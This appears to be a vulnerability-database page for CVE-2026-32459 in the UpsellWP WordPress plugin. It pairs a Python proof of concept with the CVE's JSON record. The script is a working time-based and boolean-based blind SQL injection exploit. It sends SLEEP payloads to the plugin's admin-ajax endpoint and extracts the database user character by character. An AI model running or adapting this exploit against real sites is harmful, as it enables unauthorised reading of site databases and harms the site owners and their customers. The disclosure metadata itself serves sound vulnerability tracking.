CVE-2026-32459

import requests import time # CVE-2026-32459 Blind SQL Injection PoC for UpsellWP <= 2.2.4 target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Blind SQL Injection - Time-based def test_blind_sql_injection(): # Test payload for database version extraction using time-based blind SQLi # This payload tests if the database version is MySQL 5.x payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))test)-- " headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } data = { "action": "upsellwp_action", "upsell_id": payload, "security": "your_security_nonce" } start_time = time.time() response = requests.post(target_url, data=data, headers=headers, timeout=30) elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] SQL Injection Confirmed! Database is vulnerable.") print(f"[+] Response time: {elapsed_time} seconds") else: print("[-] No SQL injection detected") # Boolean-based blind SQL injection for data extraction def extract_data_via_blind_sql(): # Example: Extract current database user charset = "abcdefghijklmnopqrstuvwxyz0123456789@_." extracted = "" for pos in range(1, 50): for char in charset: payload = f"1' AND IF(SUBSTRING(USER(),{pos},1)='{char}',SLEEP(3),0)-- " data = {"action": "upsellwp_action", "upsell_id": payload} start = time.time() requests.post(target_url, data=data, timeout=10) if time.time() - start >= 3: extracted += char print(f"[+] Extracted so far: {extracted}") break print(f"[!] Database User: {extracted}") if __name__ == "__main__": test_blind_sql_injection()

{"cve": {"id": "CVE-2026-32459", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:08.247", "lastModified": "2026-04-29T10:17:12.780", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in flycart UpsellWP checkout-upsell-and-order-bumps allows Blind SQL Injection.This issue affects UpsellWP: from n/a through <= 2.2.4."}, {"lang": "es", "value": "Vulnerabilidad de neutralización inadecuada de elementos especiales utilizados en un comando SQL ('inyección SQL') en flycart UpsellWP checkout-upsell-and-order-bumps permite una inyección SQL ciega. Este problema afecta a UpsellWP: desde n/d hasta &lt;= 2.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/checkout-upsell-and-order-bumps/vulnerability/wordpress-upsellwp-plugin-2-2-4-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}